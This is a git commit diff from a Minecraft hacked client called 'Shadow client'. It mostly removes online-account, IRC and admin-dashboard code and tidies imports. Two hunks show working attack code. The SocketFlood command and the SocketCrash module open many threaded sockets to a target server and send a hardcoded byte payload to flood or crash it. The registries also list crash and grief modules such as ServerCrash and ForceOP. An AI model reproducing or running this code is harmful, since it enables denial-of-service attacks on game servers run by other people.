this is it i guess

This commit is contained in:
0x3C50 2022-05-05 15:39:00 +02:00
parent f1e5fb3a4d
commit 56187fd87c
29 changed files with 55 additions and 1027 deletions

View file

@ -1,11 +0,0 @@
/*
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
*/
package coffeeprotect;
/**
* Marker annotation for the obfuscator - gets removed after obfuscating
*/
public @interface SkipObfuscation {
}

View file

@ -4,7 +4,6 @@
package net.shadow.client;
import coffeeprotect.SkipObfuscation;
import net.fabricmc.api.ModInitializer;
import net.minecraft.client.MinecraftClient;
import net.minecraft.client.gui.Element;
@ -23,7 +22,6 @@ import net.shadow.client.helper.font.FontRenderers;
import net.shadow.client.helper.font.adapter.impl.BruhAdapter;
import net.shadow.client.helper.font.renderer.FontRenderer;
import net.shadow.client.helper.manager.ConfigManager;
import net.shadow.client.helper.protection.Locker;
import net.shadow.client.helper.util.Utils;
import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
@ -36,7 +34,6 @@ import java.io.IOException;
import java.util.ArrayList;
import java.util.Objects;
@SkipObfuscation
@SuppressWarnings("ResultOfMethodCallIgnored")
public class ShadowMain implements ModInitializer {

View file

@ -43,7 +43,6 @@ import net.shadow.client.feature.command.impl.Kill;
import net.shadow.client.feature.command.impl.LinkWolf;
import net.shadow.client.feature.command.impl.LogFlood;
import net.shadow.client.feature.command.impl.MessageSpam;
import net.shadow.client.feature.command.impl.OnlineAPI;
import net.shadow.client.feature.command.impl.Panic;
import net.shadow.client.feature.command.impl.PermissionLevel;
import net.shadow.client.feature.command.impl.Poof;
@ -156,7 +155,6 @@ public class CommandRegistry {
vanillaCommands.add(new ForceOP());
vanillaCommands.add(new ServerCrash());
vanillaCommands.add(new RandomBook());
vanillaCommands.add(new OnlineAPI());
vanillaCommands.add(new SocketKick());
vanillaCommands.add(new SocketFlood());

View file

@ -13,7 +13,6 @@ import net.minecraft.util.Identifier;
import net.minecraft.util.registry.Registry;
import net.shadow.client.feature.command.Command;
import net.shadow.client.feature.command.coloring.PossibleArgument;
import net.shadow.client.feature.command.exception.CommandException;
import net.shadow.client.feature.gui.notifications.Notification;
public class Gensploit extends Command {

View file

@ -9,7 +9,6 @@ import net.shadow.client.feature.command.CommandRegistry;
import net.shadow.client.feature.command.coloring.ArgumentType;
import net.shadow.client.feature.command.coloring.PossibleArgument;
import net.shadow.client.feature.command.coloring.StaticArgumentServer;
import net.shadow.client.feature.command.exception.CommandException;
import net.shadow.client.feature.module.ModuleRegistry;
import net.shadow.client.feature.module.impl.misc.ClientSettings;

View file

@ -1,94 +0,0 @@
/*
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
*/
package net.shadow.client.feature.command.impl;
import net.shadow.client.ShadowMain;
import net.shadow.client.feature.command.Command;
import net.shadow.client.feature.command.coloring.ArgumentType;
import net.shadow.client.feature.command.coloring.PossibleArgument;
import net.shadow.client.feature.command.coloring.StaticArgumentServer;
import net.shadow.client.feature.command.exception.CommandException;
import net.shadow.client.feature.module.ModuleRegistry;
import net.shadow.client.feature.module.impl.misc.IRC;
import net.shadow.client.helper.ShadowAPIWrapper;
import net.shadow.client.helper.event.EventType;
import net.shadow.client.helper.event.Events;
import org.apache.commons.io.FileUtils;
import org.apache.logging.log4j.Level;
import java.io.File;
import java.nio.charset.StandardCharsets;
public class OnlineAPI extends Command {
static final File SESSION_KEY_FILE = new File(ShadowMain.BASE, "session.sip");
public OnlineAPI() {
super("OnlineAPI", "Manage your API connection to the mothership", "onlineapi", "shadowapi", "onlineservices");
tryToRecoverSession();
Events.registerEventHandler(EventType.CONFIG_SAVE, event -> {
String authKey = ShadowAPIWrapper.getAuthKey();
if (authKey != null) {
try {
FileUtils.write(SESSION_KEY_FILE, authKey, StandardCharsets.UTF_8);
} catch (Exception e) {
System.out.println("failed to save session :(");
e.printStackTrace();
}
}
});
}
void tryToRecoverSession() {
if (SESSION_KEY_FILE.exists()) {
try {
String session = FileUtils.readFileToString(SESSION_KEY_FILE, StandardCharsets.UTF_8);
if (!session.isEmpty()) {
if (ShadowAPIWrapper.loginWithKey(session)) {
ShadowMain.log(Level.INFO, "recovered previous session from backup file");
} else {
ShadowMain.log(Level.INFO, "server said no to session recovery, moving on");
}
}
} catch (Exception e) {
ShadowMain.log(Level.ERROR, "failed to recover session :(");
e.printStackTrace();
}
}
}
@Override
public PossibleArgument getSuggestionsWithType(int index, String[] args) {
if (index == 0) return new PossibleArgument(ArgumentType.STRING, "login", "logout");
if (args[0].equalsIgnoreCase("login")) {
return StaticArgumentServer.serveFromStatic(index - 1, new PossibleArgument(ArgumentType.STRING, "(username)"), new PossibleArgument(ArgumentType.STRING, "(password)"));
}
return super.getSuggestionsWithType(index, args);
}
@Override
public void onExecute(String[] args) throws CommandException {
validateArgumentsLength(args, 1, "Need an action");
switch (args[0].toLowerCase()) {
case "login" -> {
if (ShadowAPIWrapper.getAuthKey() != null) {
error("You're already logged in!");
return;
}
validateArgumentsLength(args, 3, "Need action, username and password");
if (ShadowAPIWrapper.attemptLogin(args[1], args[2])) {
success("You're now logged in as " + args[1] + ". Try using IRC or the item market ;)");
} else {
error("Failed to login. Check if username and password are correct");
}
}
case "logout" -> {
IRC irc = ModuleRegistry.getByClass(IRC.class);
if (irc.isEnabled()) irc.setEnabled(false);
ShadowAPIWrapper.logout();
success("Logged you out");
}
}
}
}

View file

@ -4,7 +4,6 @@
package net.shadow.client.feature.command.impl;
import net.shadow.client.ShadowMain;
import net.shadow.client.feature.command.Command;
import net.shadow.client.feature.command.coloring.ArgumentType;
import net.shadow.client.feature.command.coloring.PossibleArgument;
@ -14,22 +13,13 @@ import net.shadow.client.feature.gui.notifications.Notification;
import net.shadow.client.helper.util.Utils;
import java.io.DataOutputStream;
import java.io.IOException;
import java.net.Socket;
import java.util.ArrayList;
import java.util.List;
import java.util.Objects;
public class SocketFlood extends Command {
static final int[] PAYLOAD = new int[]{
0x3, 0x1, 0x0, 0xffffffbb, 0x1, 0x0, 0x0, 0xffffffb7,
0x3, 0x3, 0xffffffcb, 0xffffff82, 0xffffffae, 0x53, 0x15, 0xfffffff6,
0x79, 0x2, 0xffffffc2, 0xb, 0xffffffe1, 0xffffffc2, 0x6a, 0xfffffff8,
0x75, 0xffffffe9, 0x32, 0x23, 0x3c, 0x39, 0x3, 0x3f,
0xffffffa4, 0xffffffc7, 0xffffffb5, 0xffffff88, 0x50, 0x1f, 0x2e, 0x65,
0x21, 0x0, 0x0, 0x48, 0x0, 0x2f
};
static final int[] PAYLOAD = new int[] { 0x3, 0x1, 0x0, 0xffffffbb, 0x1, 0x0, 0x0, 0xffffffb7, 0x3, 0x3, 0xffffffcb, 0xffffff82, 0xffffffae, 0x53, 0x15, 0xfffffff6, 0x79, 0x2, 0xffffffc2, 0xb, 0xffffffe1, 0xffffffc2, 0x6a, 0xfffffff8, 0x75, 0xffffffe9, 0x32, 0x23, 0x3c, 0x39, 0x3, 0x3f, 0xffffffa4, 0xffffffc7, 0xffffffb5, 0xffffff88, 0x50, 0x1f, 0x2e, 0x65, 0x21, 0x0, 0x0, 0x48, 0x0, 0x2f };
public SocketFlood() {
super("SocketFlood", "Flood the servers console using sockets", "sflood", "socketflood");
@ -46,7 +36,7 @@ public class SocketFlood extends Command {
List<Socket> sockets = new ArrayList<>();
new Thread(() -> {
Notification.create(1000, "SocketFlood", Notification.Type.WARNING, "Charging the cannon...");
try{
try {
int c = 0;
for (int j = 0; j < Integer.valueOf(args[2]); j++) {
try {
@ -57,25 +47,25 @@ public class SocketFlood extends Command {
Utils.sleep(500);
c++;
}
if(c > 10){
if (c > 10) {
message("firing early since we got over 1000 closed sockets");
break;
}
}
Notification.create(1000, "SocketFlood", Notification.Type.SUCCESS, "Firing Exploit!");
for (Socket socket : sockets) {
try{
try {
DataOutputStream outp = new DataOutputStream(socket.getOutputStream());
for (int i1 : PAYLOAD) {
outp.write(i1);
}
}catch(Exception e){
} catch (Exception e) {
}
}
//for(Socket socket : sockets){
// socket.close();
//}
}catch(Exception e){
} catch (Exception e) {
}
}).start();
}

View file

@ -4,11 +4,7 @@
package net.shadow.client.feature.command.impl;
import net.shadow.client.ShadowMain;
import net.shadow.client.feature.command.Command;
import net.shadow.client.feature.gui.screen.OnlineServicesDashboardScreen;
import net.shadow.client.helper.ShadowAPIWrapper;
import net.shadow.client.helper.util.Utils;
public class Test extends Command {
public Test() {
@ -17,11 +13,6 @@ public class Test extends Command {
@Override
public void onExecute(String[] args) {
if (ShadowAPIWrapper.getAuthKey() != null && ShadowAPIWrapper.isCurrentUserAdmin()) {
System.out.println(ShadowAPIWrapper.getAccounts());
Utils.TickManager.runInNTicks(5, () -> ShadowMain.client.setScreen(OnlineServicesDashboardScreen.getInstance()));
} else {
error("not logged in or not admin");
}
}
}

View file

@ -74,6 +74,7 @@ public class AltManagerScreen extends ClientScreen implements FastTickable {
final FontAdapter titleSmall = FontRenderers.getCustomSize(30);
final FontAdapter title = FontRenderers.getCustomSize(40);
final AtomicBoolean isLoggingIn = new AtomicBoolean(false);
final boolean currentAccountTextureLoaded = true;
AltContainer selectedAlt;
net.shadow.client.feature.gui.widget.RoundButton add, exit, remove, tags, login, session, censorMail;
RoundTextFieldWidget search;
@ -81,7 +82,6 @@ public class AltManagerScreen extends ClientScreen implements FastTickable {
double scroll = 0;
double scrollSmooth = 0;
Texture currentAccountTexture = new Texture("dynamic/currentaccount");
final boolean currentAccountTextureLoaded = true;
private AltManagerScreen() {
super(MSAAFramebuffer.MAX_SAMPLES);

View file

@ -1,473 +0,0 @@
/*
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
*/
package net.shadow.client.feature.gui.screen;
import com.google.gson.Gson;
import lombok.Getter;
import lombok.RequiredArgsConstructor;
import net.minecraft.client.gui.Drawable;
import net.minecraft.client.gui.Element;
import net.minecraft.client.gui.Selectable;
import net.minecraft.client.gui.screen.narration.NarrationMessageBuilder;
import net.minecraft.client.util.math.MatrixStack;
import net.shadow.client.feature.gui.FastTickable;
import net.shadow.client.feature.gui.notifications.hudNotif.HudNotification;
import net.shadow.client.feature.gui.widget.RoundButton;
import net.shadow.client.feature.gui.widget.RoundTextFieldWidget;
import net.shadow.client.helper.IRCWebSocket;
import net.shadow.client.helper.ShadowAPIWrapper;
import net.shadow.client.helper.font.FontRenderers;
import net.shadow.client.helper.font.adapter.impl.BruhAdapter;
import net.shadow.client.helper.render.ClipStack;
import net.shadow.client.helper.render.Rectangle;
import net.shadow.client.helper.render.Renderer;
import net.shadow.client.helper.render.Scroller;
import net.shadow.client.helper.ws.SimpleWebsocket;
import java.awt.Color;
import java.net.URI;
import java.text.SimpleDateFormat;
import java.time.Duration;
import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.Objects;
import java.util.concurrent.CopyOnWriteArrayList;
import java.util.function.BiConsumer;
public class OnlineServicesDashboardScreen extends ClientScreen implements FastTickable {
static final List<LogsFieldWidget.LogEntry> logs = new CopyOnWriteArrayList<>();
private static OnlineServicesDashboardScreen instance;
long reconnectTime = System.currentTimeMillis();
SimpleWebsocket logsSocket;
AccountList dvw;
private OnlineServicesDashboardScreen() {
}
public static OnlineServicesDashboardScreen getInstance() {
if (instance == null) instance = new OnlineServicesDashboardScreen();
return instance;
}
void initSocket() {
if (ShadowAPIWrapper.getAuthKey() != null) {
logs.clear();
logsSocket = new SimpleWebsocket(URI.create(ShadowAPIWrapper.BASE_WS + "/admin/logs"), Map.of("Authorization", ShadowAPIWrapper.getAuthKey()), () -> {
HudNotification.create("Websocket disconnected, reconnecting in 3 seconds", 3000, HudNotification.Type.INFO);
reconnectTime = System.currentTimeMillis() + Duration.ofSeconds(3).toMillis();
logs.clear();
}, this::socketMessageRecieved);
logsSocket.connect();
}
}
void socketMessageRecieved(String msg) {
IRCWebSocket.Packet pack = new Gson().fromJson(msg, IRCWebSocket.Packet.class);
if (pack.id.equals("log")) {
SimpleDateFormat sdf = new SimpleDateFormat("dd. MM HH:mm:ss");
LinkedHashMap<String, String> props = new LinkedHashMap<>();
props.put("Time", sdf.format(pack.data.get("time")));
props.put("Severity", pack.data.get("severity").toString());
logs.add(0, new LogsFieldWidget.LogEntry(props, pack.data.get("message").toString(), switch (pack.data.get("severity").toString()) {
case "WARNING" -> Color.YELLOW.getRGB();
case "SEVERE" -> new Color(255, 50, 50).getRGB();
default -> 0xFFFFFF;
}));
}
}
void populateAccountList() {
dvw.aww.clear();
double yO = 0;
for (ShadowAPIWrapper.AccountEntry account : ShadowAPIWrapper.getAccounts()) {
AccountViewerWidget avw = new AccountViewerWidget(account.username, account.password, 0, yO, 300, 30, () -> {
if (ShadowAPIWrapper.deleteAccount(account.username, account.password)) this.populateAccountList();
});
yO += avw.height + 5;
dvw.add(avw);
}
dvw.add(new RegisterAccountViewer(0, yO, 300, 30, (s, s2) -> {
if (ShadowAPIWrapper.registerAccount(s, s2)) populateAccountList();
}));
}
@Override
protected void init() {
addDrawableChild(new LogsFieldWidget(5, 5, width - 10, height / 2d - 5, OnlineServicesDashboardScreen.logs));
dvw = new AccountList(5, height / 2d + 5, 300, height / 2d - 10);
populateAccountList();
addDrawableChild(dvw);
}
@Override
public void onFastTick() {
if (reconnectTime != -1 && reconnectTime < System.currentTimeMillis()) {
initSocket();
reconnectTime = -1;
}
}
@Override
public void renderInternal(MatrixStack stack, int mouseX, int mouseY, float delta) {
renderBackground(stack);
super.renderInternal(stack, mouseX, mouseY, delta);
}
@Override
public boolean mouseScrolled(double mouseX, double mouseY, double amount) {
for (Element child : this.children()) {
if (child.mouseScrolled(mouseX, mouseY, amount)) return true;
}
return super.mouseScrolled(mouseX, mouseY, amount);
}
@Override
public boolean charTyped(char chr, int modifiers) {
for (Element child : this.children()) {
if (child.charTyped(chr, modifiers)) return true;
}
return super.charTyped(chr, modifiers);
}
@Override
public boolean keyPressed(int keyCode, int scanCode, int modifiers) {
for (Element child : this.children()) {
if (child.keyPressed(keyCode, scanCode, modifiers)) return true;
}
return super.keyPressed(keyCode, scanCode, modifiers);
}
@Override
public boolean keyReleased(int keyCode, int scanCode, int modifiers) {
for (Element child : this.children()) {
if (child.keyReleased(keyCode, scanCode, modifiers)) return true;
}
return super.keyReleased(keyCode, scanCode, modifiers);
}
static class RegisterAccountViewer extends AccountViewerWidget {
final BiConsumer<String, String> r;
RoundTextFieldWidget user, pass;
RoundButton reg;
public RegisterAccountViewer(double x, double y, double width, double height, BiConsumer<String, String> onReg) {
super("", "", x, y, width, height, () -> {
});
this.r = onReg;
}
Element[] getEl() {
return new Element[] { user, pass, reg };
}
@Override
public void render(MatrixStack matrices, int mouseX, int mouseY, float delta) {
if (user == null || pass == null || reg == null) initWidgets();
Renderer.R2D.renderRoundedQuad(matrices, new Color(10, 10, 20), x, y, x + width, y + height, 5, 20);
this.user.render(matrices, mouseX, mouseY, delta);
this.pass.render(matrices, mouseX, mouseY, delta);
this.reg.render(matrices, mouseX, mouseY, delta);
}
@Override
public void onFastTick() {
this.reg.onFastTick();
}
@Override
public boolean mouseClicked(double mouseX, double mouseY, int button) {
for (Element element : getEl()) {
element.mouseClicked(mouseX, mouseY, button);
}
return false;
}
@Override
public boolean charTyped(char chr, int modifiers) {
for (Element element : getEl()) {
if (element.charTyped(chr, modifiers)) return true;
}
return super.charTyped(chr, modifiers);
}
@Override
public boolean keyPressed(int keyCode, int scanCode, int modifiers) {
for (Element element : getEl()) {
if (element.keyPressed(keyCode, scanCode, modifiers)) return true;
}
return super.keyPressed(keyCode, scanCode, modifiers);
}
void initWidgets() {
double h = 20;
double pad = (this.height - h) / 2d;
double regBtnWidth = 60;
double oneWidth = (this.width - regBtnWidth - pad * 3) / 2d - 2.5;
this.user = new RoundTextFieldWidget(x + pad, y + this.height / 2d - h / 2d, oneWidth, h, "Username");
this.pass = new RoundTextFieldWidget(x + pad + oneWidth + 5, y + this.height / 2d - h / 2d, oneWidth, h, "Password");
this.reg = new RoundButton(RoundButton.STANDARD, x + this.width - pad - regBtnWidth, y + this.height / 2d - h / 2d, regBtnWidth, h, "Register", () -> {
this.r.accept(this.user.get(), this.pass.get());
this.user.set("");
this.pass.set("");
});
}
}
@RequiredArgsConstructor
static class AccountViewerWidget implements Element, Drawable, Selectable, FastTickable {
final String username, password;
final double x, y, width, height;
final Runnable onDelete;
RoundButton deleteBtn = null;
@Override
public void render(MatrixStack matrices, int mouseX, int mouseY, float delta) {
if (deleteBtn == null)
deleteBtn = new RoundButton(RoundButton.STANDARD, x + width - (height - 20) / 2d - 60, y + (height - 20) / 2d, 60, 20, "Delete", onDelete);
Renderer.R2D.renderRoundedQuad(matrices, new Color(10, 10, 20), x, y, x + width, y + height, 5, 20);
double h = FontRenderers.getRenderer().getFontHeight();
double pad = height - h;
FontRenderers.getRenderer().drawString(matrices, username + ":" + password, x + pad / 2d, y + height / 2d - h / 2d, 0xFFFFFF);
deleteBtn.render(matrices, mouseX, mouseY, delta);
}
@Override
public SelectionType getType() {
return null;
}
@Override
public void appendNarrations(NarrationMessageBuilder builder) {
}
@Override
public void onFastTick() {
if (deleteBtn != null) deleteBtn.onFastTick();
}
@Override
public boolean mouseClicked(double mouseX, double mouseY, int button) {
return deleteBtn != null && deleteBtn.mouseClicked(mouseX, mouseY, button);
}
}
@RequiredArgsConstructor
class LogsFieldWidget implements Element, Drawable, Selectable, FastTickable {
final double x, y, w, h;
final List<LogEntry> logs;
final Scroller scroller = new Scroller(0);
double heightPerLine() {
return FontRenderers.getRenderer().getFontHeight() + 8;
}
double contentHeight() {
return heightPerLine() + logs.size() * heightPerLine();
}
@Override
public void render(MatrixStack matrices, int mouseX, int mouseY, float delta) {
double yOffset = heightPerLine();
Renderer.R2D.renderRoundedQuad(matrices, new Color(10, 10, 20), x, y, x + w, y + h, 5, 20);
if (logs.isEmpty()) {
BruhAdapter ba = FontRenderers.getCustomSize(40);
ba.drawCenteredString(matrices, "No logs yet", x + w / 2d, y + h / 2d - ba.getFontHeight() / 2d, 1f, 1f, 1f, 0.3f);
return;
}
List<Bruh> bruhs = new ArrayList<>();
for (LogEntry log : logs) {
log.additionalProps.forEach((s, s2) -> {
if (bruhs.stream().noneMatch(bruh -> bruh.content.equals(s))) {
bruhs.add(new Bruh(s, Math.max(FontRenderers.getRenderer().getStringWidth(s2), FontRenderers.getRenderer().getStringWidth(s))));
} else {
Bruh b = bruhs.stream().filter(bruh -> bruh.content.equals(s)).findFirst().orElseThrow();
double w = Math.max(b.width, Math.max(FontRenderers.getRenderer().getStringWidth(s2), FontRenderers.getRenderer().getStringWidth(s)));
bruhs.remove(b);
bruhs.add(new Bruh(s, w));
}
});
}
double xOffset = 4;
for (Bruh bruh : bruhs) {
FontRenderers.getRenderer().drawString(matrices, bruh.content, x + xOffset, y + heightPerLine() / 2d - FontRenderers.getRenderer().getFontHeight() / 2d, 0xBBBBBB);
xOffset += bruh.width + 7;
}
Renderer.R2D.renderQuad(matrices, Color.WHITE, x, y + yOffset, x + w, y + yOffset + 1);
ClipStack.globalInstance.addWindow(matrices, new Rectangle(x, y + yOffset, x + w, y + h));
matrices.push();
matrices.translate(0, scroller.getScroll(), 0);
for (LogEntry log : logs) {
double finalYOffset = yOffset;
log.additionalProps.forEach((s, s2) -> {
int index = bruhs.indexOf(new Bruh(s, 0));
double xOffsetToConsider = 4;
for (int i = 0; i < index; i++) {
xOffsetToConsider += bruhs.get(i).width + 7;
}
FontRenderers.getRenderer().drawString(matrices, s2, x + xOffsetToConsider, y + finalYOffset + heightPerLine() / 2d - FontRenderers.getRenderer().getFontHeight() / 2d, 0xFFFFFF);
});
double xO = bruhs.stream().map(bruh -> bruh.width + 7).reduce(Double::sum).orElse(0d) + 4;
FontRenderers.getRenderer().drawString(matrices, log.msg, x + xO, y + yOffset + heightPerLine() / 2d - FontRenderers.getRenderer().getFontHeight() / 2d, 0xFFFFFF);
yOffset += heightPerLine();
}
matrices.pop();
ClipStack.globalInstance.popWindow();
}
@Override
public SelectionType getType() {
return SelectionType.NONE;
}
@Override
public void appendNarrations(NarrationMessageBuilder builder) {
}
@Override
public void onFastTick() {
scroller.tick();
}
@Override
public boolean mouseScrolled(double mouseX, double mouseY, double amount) {
if (mouseX >= x && mouseX <= x + w && mouseY >= y && mouseY <= y + h) {
double contentHeight = contentHeight();
double elScroll = contentHeight - h;
scroller.setBounds(0, elScroll);
scroller.scroll(amount);
}
return Element.super.mouseScrolled(mouseX, mouseY, amount);
}
public record LogEntry(Map<String, String> additionalProps, String msg, int color) {
}
record Bruh(String content, double width) {
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
Bruh bruh = (Bruh) o;
return Objects.equals(content, bruh.content);
}
@Override
public int hashCode() {
return Objects.hash(content, width);
}
}
}
@RequiredArgsConstructor
class AccountList implements Element, Drawable, Selectable, FastTickable {
final double x, y, w, h;
@Getter
List<AccountViewerWidget> aww = new CopyOnWriteArrayList<>();
final Scroller s = new Scroller(0);
public void add(AccountViewerWidget v) {
aww.add(v);
}
@Override
public void render(MatrixStack matrices, int mouseX, int mouseY, float delta) {
matrices.push();
ClipStack.globalInstance.addWindow(matrices, new Rectangle(x, y, x + w, y + h));
matrices.translate(x, y + s.getScroll(), 0);
for (Drawable drawable : aww) {
drawable.render(matrices, (int) (mouseX - x), (int) (mouseY - y - s.getScroll()), delta);
}
ClipStack.globalInstance.popWindow();
matrices.pop();
}
@Override
public SelectionType getType() {
return SelectionType.NONE;
}
@Override
public void appendNarrations(NarrationMessageBuilder builder) {
}
@Override
public void onFastTick() {
s.tick();
for (Element element : aww) {
if (element instanceof FastTickable ft) ft.onFastTick();
}
}
@Override
public boolean mouseClicked(double mouseX, double mouseY, int button) {
for (Element element : aww) {
if (element.mouseClicked(mouseX - x, mouseY - y - s.getScroll(), button)) return true;
}
return Element.super.mouseClicked(mouseX, mouseY, button);
}
@Override
public boolean mouseReleased(double mouseX, double mouseY, int button) {
for (Element element : aww) {
if (element.mouseReleased(mouseX - x, mouseY - y - s.getScroll(), button)) return true;
}
return Element.super.mouseReleased(mouseX, mouseY, button);
}
@Override
public boolean mouseDragged(double mouseX, double mouseY, int button, double deltaX, double deltaY) {
for (Element element : aww) {
if (element.mouseDragged(mouseX - x, mouseY - y, button, deltaX, deltaY)) return true;
}
return Element.super.mouseDragged(mouseX, mouseY, button, deltaX, deltaY);
}
@Override
public boolean mouseScrolled(double mouseX, double mouseY, double amount) {
double he = 0;
for (AccountViewerWidget accountViewerWidget : aww) {
he = Math.max(he, accountViewerWidget.y + accountViewerWidget.height);
}
if (mouseX >= x && mouseX <= x + w && mouseY >= y && mouseY <= y + h) {
double elScroll = he - h;
s.setBounds(0, elScroll);
s.scroll(amount);
}
return Element.super.mouseScrolled(mouseX, mouseY, amount);
}
@Override
public boolean keyPressed(int keyCode, int scanCode, int modifiers) {
for (Element element : aww) {
if (element.keyPressed(keyCode, scanCode, modifiers)) return true;
}
return Element.super.keyPressed(keyCode, scanCode, modifiers);
}
@Override
public boolean keyReleased(int keyCode, int scanCode, int modifiers) {
for (Element element : aww) {
if (element.keyReleased(keyCode, scanCode, modifiers)) return true;
}
return Element.super.keyReleased(keyCode, scanCode, modifiers);
}
@Override
public boolean charTyped(char chr, int modifiers) {
for (Element element : aww) {
if (element.charTyped(chr, modifiers)) return true;
}
return Element.super.charTyped(chr, modifiers);
}
}
}

View file

@ -17,11 +17,11 @@ import java.util.List;
import java.util.concurrent.CopyOnWriteArrayList;
public class ShadItemGroup {
final Text name;
@Getter
String nameS;
@Getter
ItemStack icon;
final Text name;
@Getter
List<ItemStack> items = new CopyOnWriteArrayList<>();

View file

@ -62,7 +62,6 @@ import net.shadow.client.feature.module.impl.misc.AntiOffhandCrash;
import net.shadow.client.feature.module.impl.misc.AntiPacketKick;
import net.shadow.client.feature.module.impl.misc.ClientSettings;
import net.shadow.client.feature.module.impl.misc.DiscordRPC;
import net.shadow.client.feature.module.impl.misc.IRC;
import net.shadow.client.feature.module.impl.misc.InfChatLength;
import net.shadow.client.feature.module.impl.misc.ItemPuke;
import net.shadow.client.feature.module.impl.misc.MoreChatHistory;
@ -351,7 +350,6 @@ public class ModuleRegistry {
registerModule(CraftCrash.class);
registerModule(ItemPuke.class);
registerModule(EntityCrash.class);
registerModule(IRC.class);
registerModule(SSRFCrash.class);
registerModule(Equipper.class);
registerModule(Godmode.class);

View file

@ -11,7 +11,6 @@ import net.minecraft.nbt.NbtCompound;
import net.minecraft.nbt.NbtInt;
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;
import net.minecraft.network.packet.c2s.play.PlayerInteractBlockC2SPacket;
import net.shadow.client.feature.config.DoubleSetting;
import net.shadow.client.feature.module.Module;
import net.shadow.client.feature.module.ModuleType;
import net.shadow.client.helper.event.EventType;

View file

@ -4,12 +4,6 @@
package net.shadow.client.feature.module.impl.crash;
import net.minecraft.client.util.math.MatrixStack;
import net.shadow.client.feature.module.Module;
import net.shadow.client.feature.module.ModuleType;
import net.shadow.client.helper.event.EventType;
import net.shadow.client.helper.event.Events;
import net.shadow.client.helper.event.events.PacketEvent;
import net.minecraft.client.util.math.MatrixStack;
import net.minecraft.item.ItemStack;
import net.minecraft.item.Items;
@ -17,6 +11,11 @@ import net.minecraft.nbt.NbtCompound;
import net.minecraft.nbt.NbtInt;
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;
import net.minecraft.network.packet.c2s.play.PlayerInteractBlockC2SPacket;
import net.shadow.client.feature.module.Module;
import net.shadow.client.feature.module.ModuleType;
import net.shadow.client.helper.event.EventType;
import net.shadow.client.helper.event.Events;
import net.shadow.client.helper.event.events.PacketEvent;
public class PaintingCrash extends Module {
private int xChunk;

View file

@ -4,30 +4,22 @@
package net.shadow.client.feature.module.impl.crash;
import java.io.DataOutputStream;
import java.net.Socket;
import net.minecraft.client.util.math.MatrixStack;
import net.shadow.client.feature.module.ModuleType;
import net.shadow.client.helper.util.Utils.Logging;
import net.shadow.client.feature.config.DoubleSetting;
import net.shadow.client.feature.config.StringSetting;
import net.shadow.client.feature.module.Module;
import net.shadow.client.feature.module.ModuleType;
import net.shadow.client.helper.util.Utils.Logging;
import java.io.DataOutputStream;
import java.net.Socket;
public class SocketCrash extends Module {
static final int[] PAYLOAD = new int[] { 0x3, 0x1, 0x0, 0xffffffbb, 0x1, 0x0, 0x0, 0xffffffb7, 0x3, 0x3, 0xffffffcb, 0xffffff82, 0xffffffae, 0x53, 0x15, 0xfffffff6, 0x79, 0x2, 0xffffffc2, 0xb, 0xffffffe1, 0xffffffc2, 0x6a, 0xfffffff8, 0x75, 0xffffffe9, 0x32, 0x23, 0x3c, 0x39, 0x3, 0x3f, 0xffffffa4, 0xffffffc7, 0xffffffb5, 0xffffff88, 0x50, 0x1f, 0x2e, 0x65, 0x21, 0x0, 0x0, 0x48, 0x0, 0x2f };
final StringSetting addr = this.config.create(new StringSetting.Builder("localhost:25565").description("where to target the attack").get());
final DoubleSetting threads = this.config.create(new DoubleSetting.Builder(5).min(1).max(50).name("Threads").description("The amount of threads to spawn").get());
static final int[] PAYLOAD = new int[]{
0x3, 0x1, 0x0, 0xffffffbb, 0x1, 0x0, 0x0, 0xffffffb7,
0x3, 0x3, 0xffffffcb, 0xffffff82, 0xffffffae, 0x53, 0x15, 0xfffffff6,
0x79, 0x2, 0xffffffc2, 0xb, 0xffffffe1, 0xffffffc2, 0x6a, 0xfffffff8,
0x75, 0xffffffe9, 0x32, 0x23, 0x3c, 0x39, 0x3, 0x3f,
0xffffffa4, 0xffffffc7, 0xffffffb5, 0xffffff88, 0x50, 0x1f, 0x2e, 0x65,
0x21, 0x0, 0x0, 0x48, 0x0, 0x2f
};
public SocketCrash() {
super("SocketCrash", "crash the sver with socket", ModuleType.CRASH);
}
@ -39,10 +31,10 @@ public class SocketCrash extends Module {
@Override
public void enable() {
for(int i = 0; i < threads.getValue(); i++){
for (int i = 0; i < threads.getValue(); i++) {
new Thread(() -> {
try{
while(this.isEnabled()) {
try {
while (this.isEnabled()) {
try {
String[] addru = addr.getValue().split(":");
Socket s = new Socket(addru[0], Integer.parseInt(addru[1]));
@ -53,7 +45,7 @@ public class SocketCrash extends Module {
} catch (Exception ignored) {
}
}
}catch(Exception e){
} catch (Exception e) {
}
Logging.message("Thread exited");
}).start();

View file

@ -3,18 +3,18 @@
*/
package net.shadow.client.feature.module.impl.grief;
import net.minecraft.client.util.math.MatrixStack;
import net.minecraft.item.ItemStack;
import net.minecraft.nbt.NbtCompound;
import net.minecraft.nbt.NbtList;
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;
import java.util.Random;
import net.minecraft.client.util.math.MatrixStack;
import net.shadow.client.feature.module.Module;
import net.shadow.client.feature.module.ModuleType;
import net.shadow.client.helper.util.Utils;
import java.util.Random;
public class MapFuck extends Module {
public MapFuck() {

View file

@ -1,86 +0,0 @@
/*
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
*/
package net.shadow.client.feature.module.impl.misc;
import net.minecraft.client.util.math.MatrixStack;
import net.minecraft.network.packet.c2s.play.ChatMessageC2SPacket;
import net.shadow.client.feature.module.Module;
import net.shadow.client.feature.module.ModuleType;
import net.shadow.client.helper.IRCWebSocket;
import net.shadow.client.helper.ShadowAPIWrapper;
import net.shadow.client.helper.event.EventListener;
import net.shadow.client.helper.event.EventType;
import net.shadow.client.helper.event.events.PacketEvent;
import net.shadow.client.helper.util.Utils;
import java.net.URI;
public class IRC extends Module {
static final String ircPrefix = "#";
public IRCWebSocket wsS;
public IRC() {
super("IRC", "Chat with others using the client", ModuleType.MISC);
}
